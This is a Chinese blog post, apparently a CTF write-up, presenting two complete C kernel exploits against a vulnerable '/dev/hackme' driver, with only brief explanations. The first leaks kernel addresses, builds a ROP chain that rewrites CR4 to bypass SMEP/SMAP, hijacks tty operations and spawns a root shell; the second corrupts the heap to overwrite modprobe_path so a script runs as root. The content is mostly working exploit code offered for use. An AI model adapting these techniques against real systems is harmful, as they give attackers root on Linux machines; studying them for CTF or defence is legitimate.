• kernel heap bypass smep,smap && 劫持modprobe_path


    kernel heap bypass smep,smap && 劫持modprobe_path

    exp1

    smep:smep即用户数据不可执行,当 CPU 处于 ring0 模式时,执行用户空间的代码会触发页错误,系统根据CR4寄存器的第20位判断内核是否开启smep,为1时开启,为0时关闭(第21位是SMAP位)。
    smap:smap用户数据不可访问。

    通过控制cr4寄存器为0x6f0即可绕过。

    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    
    size_t vmlinux_base, off, commit_creds, prepare_kernel_cred;
    size_t user_cs, user_ss, user_sp, user_rflags;
    size_t raw_vmlinux_base = 0xffffffff81000000;
    size_t rop[0x100] = {0};
    
    int fd;
    
    struct Heap{
        size_t index;
        char *data;
        size_t len;
        size_t offset;
    };
    
    void add(int index, size_t len, char *data)
    {
    	struct Heap heap;
    	heap.index = index;
    	heap.data = data;
    	heap.len = len;
    	ioctl(fd, 0x30000, &heap);
    }
    
    void delete(int index)
    {
    	struct Heap heap;
    	heap.index = index;
    	ioctl(fd, 0x30001, &heap);
    }
    
    void edit(int index, size_t len, size_t offset, char *data)
    {
    	struct Heap heap;
    	heap.index = index;
    	heap.data = data;
    	heap.len = len;
    	heap.offset = offset;
    	ioctl(fd, 0x30002, &heap);
    }
    
    void show(int index, size_t len, size_t offset, char *data)
    {
    	struct Heap heap;
    	heap.index = index;
    	heap.data = data;
    	heap.len = len;
    	heap.offset = offset;
    	ioctl(fd, 0x30003, &heap);
    }
    
    
    void save_status()
    {
    	__asm__(
    	"mov user_cs, cs;"
    	"mov user_ss, ss;"
    	"mov user_sp, rsp;"
    	"pushf;"
    	"pop user_rflags;"
    	);
    	puts("[+] save the state success!");
    }
    
    void get_shell()
    {
    	if (getuid() == 0)
    	{
    		puts("[*] get root");
    		system("/bin/sh");
    	}
    	else
    	{
    		puts("[-] get root error");
    		sleep(3);
    		exit(0);
    	}
    }
    
    void get_root()
    {
    	//commit_creds(prepare_kernel_cred(0))
    	void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
    	void (*cc)(void *) = (void (*)(void *))commit_creds;
    	(*cc)((*pkc)(0));
    }
    
    
    int main()
    {
    	save_status();
    
    	char buf[0x1000] = {0};
    	size_t fake_tty_struct[4] = {0};
    	size_t fake_tty_operations[35] = {0};
    
    	fd = open("/dev/hackme",0);
    	if(fd < 0)
    	{
    		puts("[-] open file error");
    		sleep(3);
    		exit(0);
    	}
    
    	add(0, 0x2e0, buf); // 0
    	add(1, 0x2e0, buf); // 1
    	add(2, 0x100, buf); // 2
    	add(3, 0x100, buf); // 3
    	delete(0);
    	delete(2);
    
    	show(3, 0x100, -0x100, buf);
    	size_t heap_addr = ((size_t *)buf)[0] - 0x200;
    	printf("[+] heap_addr=> 0x%lx\n", heap_addr);
    	
    	int fd_tty = open("/dev/ptmx",O_RDWR | O_NOCTTY);
    	if(fd_tty < 0)
    	{
    		puts("[-] open ptmx error");
    		sleep(3);
    		exit(0);
    	}
    	
    	show(1, 0x400, -0x400, buf);
    	vmlinux_base = ((size_t *)buf)[3] - 0x625d80;
    	printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
    	off = vmlinux_base - raw_vmlinux_base;
    	commit_creds = off + 0xffffffff8104d220;
    	prepare_kernel_cred = off + 0xffffffff8104d3d0;
    
    	int i = 0;
    	rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;
    	rop[i++] = 0x6f0;
    	rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;
    	rop[i++] = 0;
    	rop[i++] = (size_t)get_root;
    	rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret; 
    	rop[i++] = 0;
    	rop[i++] = 0;
    	rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;
    	rop[i++] = (size_t)get_shell;
    	rop[i++] = user_cs;
    	rop[i++] = user_rflags;
    	rop[i++] = user_sp;
    	rop[i++] = user_ss;
    	
    	add(2, 0x100, (char *)rop);
    	
    	fake_tty_operations[7] = off + 0xffffffff810608d5; // push rax; pop rsp; ret;
    
    	fake_tty_operations[0] = off + 0xffffffff810484f0; // pop rsp; ret;
    	fake_tty_operations[1] = heap_addr;
    
    	((size_t *)buf)[3] = heap_addr + 0x100;
    	
    	delete(3);
    	add(3, 0x100, (char *)fake_tty_operations);
    
    	edit(1, 0x400, -0x400, buf);
    
    	write(fd_tty, "FXC", 3);
    	return 0;
    }
    

    exp2

    mod_tree:可以泄露驱动地址,当堆栈中找不到时可以来这里查找。

    modprobe_path:当我们执行一个非法文件时,就会以root权限去执行modprobe_path所指向的文件,通常是指向/sbin/modprobe,如果改成我们创建的cat flag的文件,那么就可以拿到flag

    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    
    int fd;
    size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
    
    struct Heap{
        size_t index;
        char *data;
        size_t len;
        size_t offset;
    };
    
    void add(int index, size_t len, char *data)
    {
    	struct Heap heap;
    	heap.index = index;
    	heap.data = data;
    	heap.len = len;
    	ioctl(fd, 0x30000, &heap);
    }
    
    void delete(int index)
    {
    	struct Heap heap;
    	heap.index = index;
    	ioctl(fd, 0x30001, &heap);
    }
    
    void edit(int index, size_t len, size_t offset, char *data)
    {
    	struct Heap heap;
    	heap.index = index;
    	heap.data = data;
    	heap.len = len;
    	heap.offset = offset;
    	ioctl(fd, 0x30002, &heap);
    }
    
    void show(int index, size_t len, size_t offset, char *data)
    {
    	struct Heap heap;
    	heap.index = index;
    	heap.data = data;
    	heap.len = len;
    	heap.offset = offset;
    	ioctl(fd, 0x30003, &heap);
    }
    
    void get_flag()
    {
    	puts("[+] Prepare shell file.");
    	system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /shell.sh");
    	system("chmod +x /shell.sh");
    	
    	puts("[+] Prepare trigger file.");
    	system("echo -ne '\\xff\\xff\\xff\\xff' > /FXC");
    	system("chmod +x /FXC");
    	
    	system("cat /proc/sys/kernel/modprobe");
    	system("/FXC");
    	system("cat /flag");
    	
    	sleep(5);
    }
    
    int main()
    {
    	fd = open("/dev/hackme",0);
    	if(fd < 0)
    	{
    		puts("[-] open file error");
    		sleep(3);
    		exit(0);
    	}
    
    	char buf[0x1000] = {0};
    	
    	add(0, 0x100, buf); // 0
    	add(1, 0x100, buf); // 1
    	add(2, 0x100, buf); // 2
    	add(3, 0x100, buf); // 3
    	add(4, 0x100, buf); // 4
    
    	delete(1);
    	delete(3);
    
    	show(4, 0x100, -0x100, buf);
    	heap_base = ((size_t *)buf)[0] - 0x100;
    	printf("[+] heap_addr=> 0x%lx\n", heap_base);
    
    	show(0, 0x200, -0x200, buf);
    	vmlinux_base = ((size_t *)buf)[0] - 0x8472c0;
    	printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
    	mod_tree = vmlinux_base + 0x811000;
    	modprobe_path = vmlinux_base + 0x83f960;
    	
    	memset(buf,'\x00',0x100);
    	((size_t  *)buf)[0] = mod_tree + 0x40;
    	edit(4, 0x100, -0x100, buf);
    	
    	add(5, 0x100, buf); // 5
    	add(6, 0x100, buf); // 6
    
    	show(6, 0x40, -0x40, buf);
    	ko_base = ((size_t *)buf)[3];
    	printf("[+] ko_base=> 0x%lx\n", ko_base);
    
    	delete(2);
    	delete(5);
    
    	getchar();
    	((size_t  *)buf)[0] = ko_base + 0x2400 + 0xc0;
    	edit(4, 0x100, -0x100, buf);
    
    	add(7, 0x100, buf); // 7
    	add(8, 0x100, buf); // 8
    
    	((size_t  *)buf)[0] = modprobe_path;
    	((size_t  *)buf)[1] = 0x100;
    	edit(8, 0x10, 0, buf);
    
    	strncpy(buf, "/shell.sh\x00", 0xa);
    	edit(12, 0xa, 0, buf);
    
    	get_flag();
    	return 0;
    }
    

    __EOF__

  • 本文作者: 狒猩橙
  • 本文链接: https://www.cnblogs.com/pwnfeifei/p/16230549.html
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    Redis持久化方案 RDB,AOF
    Crane-scheduler:基于真实负载进行调度
    GLAMD: Global and Local Attention Mask Distillation for Object Detectors
    双功能交联剂丨Lumiprobe 磺基花青7二羧酸研究
    LeetCode 91 双周赛
    【Voyage】GDOI 2023 旅游记 || ECHO.
    将文件名称中空格以左的部分全部删除重命名
    OpenOCD如何通过stlink直接下载程序到stm32板子(已解决)
    企业电子招投标系统源码之电子招投标系统建设的重点和未来趋势
    回溯算法4.1-4.4
  • 原文地址:https://www.cnblogs.com/pwnfeifei/p/16230549.html